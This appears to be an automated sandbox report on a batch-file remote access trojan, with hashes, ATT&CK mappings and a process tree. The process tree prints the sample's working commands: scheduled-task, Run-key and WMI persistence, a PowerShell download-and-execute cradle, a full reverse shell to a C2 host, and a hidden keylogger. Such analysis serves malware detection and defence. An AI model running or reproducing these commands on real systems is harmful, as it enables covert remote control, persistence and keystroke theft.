6fe7279828660807e78003d633a264aa40da923be5d0c7383625fcedc065033c

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:17

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General

Target
rat_build_61995_014228.bat
Size 4KB
Sample260529-17pdkscs2p
SHA256 6fe7279828660807e78003d633a264aa40da923be5d0c7383625fcedc065033c
MD5 a5f73ac3627c830b0f6866204ebd40a7
SHA1 4b18353302d7a5cd1d45968ffb3c15c32f659f3a
SHA512 43848af62449a60fd9cfe2bfd6469ac75f88c4b537df81aa186972bff9b19e14fc28e1d6347fb4190543fa4a5ef4d8fc7ce94889896b31e8915e9ce3278d80d9
SSDEEP 96:lIsYWKR+TgSSG6ireUqlNIl1/PkbEe1QgU242iFgZk8mvlo1aB:lHKRmgS7e4tfe1QuiFgkHl7B
TLSH
T1E0A1D8235797B22095B02A18EA323C58476CE9FB1345CACDFA44CDC51A8DE47A12A6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_61995.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe
4188	powershell.exe
3900	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_61995 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_61995.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3748	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4488	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3416	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2304	powershell.exe
2304	powershell.exe
2304	powershell.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2160	WMIC.exe
Token: SeSecurityPrivilege	2160	WMIC.exe
Token: SeTakeOwnershipPrivilege	2160	WMIC.exe
Token: SeLoadDriverPrivilege	2160	WMIC.exe
Token: SeSystemProfilePrivilege	2160	WMIC.exe
Token: SeSystemtimePrivilege	2160	WMIC.exe
Token: SeProfSingleProcessPrivilege	2160	WMIC.exe
Token: SeIncBasePriorityPrivilege	2160	WMIC.exe
Token: SeCreatePagefilePrivilege	2160	WMIC.exe
Token: SeBackupPrivilege	2160	WMIC.exe
Token: SeRestorePrivilege	2160	WMIC.exe
Token: SeShutdownPrivilege	2160	WMIC.exe
Token: SeDebugPrivilege	2160	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2160	WMIC.exe
Token: SeRemoteShutdownPrivilege	2160	WMIC.exe
Token: SeUndockPrivilege	2160	WMIC.exe
Token: SeManageVolumePrivilege	2160	WMIC.exe
Token: 33	2160	WMIC.exe
Token: 34	2160	WMIC.exe
Token: 35	2160	WMIC.exe
Token: 36	2160	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2160	WMIC.exe
Token: SeSecurityPrivilege	2160	WMIC.exe
Token: SeTakeOwnershipPrivilege	2160	WMIC.exe
Token: SeLoadDriverPrivilege	2160	WMIC.exe
Token: SeSystemProfilePrivilege	2160	WMIC.exe
Token: SeSystemtimePrivilege	2160	WMIC.exe
Token: SeProfSingleProcessPrivilege	2160	WMIC.exe
Token: SeIncBasePriorityPrivilege	2160	WMIC.exe
Token: SeCreatePagefilePrivilege	2160	WMIC.exe
Token: SeBackupPrivilege	2160	WMIC.exe
Token: SeRestorePrivilege	2160	WMIC.exe
Token: SeShutdownPrivilege	2160	WMIC.exe
Token: SeDebugPrivilege	2160	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2160	WMIC.exe
Token: SeRemoteShutdownPrivilege	2160	WMIC.exe
Token: SeUndockPrivilege	2160	WMIC.exe
Token: SeManageVolumePrivilege	2160	WMIC.exe
Token: 33	2160	WMIC.exe
Token: 34	2160	WMIC.exe
Token: 35	2160	WMIC.exe
Token: 36	2160	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4668	WMIC.exe
Token: SeSecurityPrivilege	4668	WMIC.exe
Token: SeTakeOwnershipPrivilege	4668	WMIC.exe
Token: SeLoadDriverPrivilege	4668	WMIC.exe
Token: SeSystemProfilePrivilege	4668	WMIC.exe
Token: SeSystemtimePrivilege	4668	WMIC.exe
Token: SeProfSingleProcessPrivilege	4668	WMIC.exe
Token: SeIncBasePriorityPrivilege	4668	WMIC.exe
Token: SeCreatePagefilePrivilege	4668	WMIC.exe
Token: SeBackupPrivilege	4668	WMIC.exe
Token: SeRestorePrivilege	4668	WMIC.exe
Token: SeShutdownPrivilege	4668	WMIC.exe
Token: SeDebugPrivilege	4668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4668	WMIC.exe
Token: SeRemoteShutdownPrivilege	4668	WMIC.exe
Token: SeUndockPrivilege	4668	WMIC.exe
Token: SeManageVolumePrivilege	4668	WMIC.exe
Token: 33	4668	WMIC.exe
Token: 34	4668	WMIC.exe
Token: 35	4668	WMIC.exe
Token: 36	4668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4668	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 4872	1352	cmd.exe	88
PID 1352 wrote to memory of 3416	1352	cmd.exe	89
PID 1352 wrote to memory of 2160	1352	cmd.exe	90
PID 1352 wrote to memory of 4668	1352	cmd.exe	91
PID 1352 wrote to memory of 1392	1352	cmd.exe	92
PID 1352 wrote to memory of 4488	1352	cmd.exe	105
PID 1352 wrote to memory of 3748	1352	cmd.exe	108
PID 1352 wrote to memory of 2304	1352	cmd.exe	109
PID 1352 wrote to memory of 4188	1352	cmd.exe	110
PID 1352 wrote to memory of 3900	1352	cmd.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_61995_014228.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_61995" /tr "C:\Users\Admin\AppData\Local\Temp\_61995.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4872
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_61995" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_61995.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3416
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_61995", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_61995", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_61995.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_61995.txt
  2⤵
  PID:1392
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4488
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_61995.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bd540a6d1eec819813040230500c076952485d0c02d3cefe42867e8775357e12
MD5 57355d11cf317fd0a2f24a9e9563058f
SHA1 25ceb215ca879879df7027bdcbf2d09f6982b87c
SHA512 e127ab276e9ae0a25b38a1aa09f4c6859c4990a1628f94b35845e61757eef35a41dedf9df3b1f64d74e7b1a1d09a49ecd2bf067d5d120abd285fa2f428462458
TLSH
T1CC117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
MD5 018209c2aca91af0ff46ed3d8c79d783
SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
TLSH
T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_3xzstivw.abb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3xzstivw.abb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2304-3-0x0000022FA2150000-0x0000022FA2172000-memory.dmp

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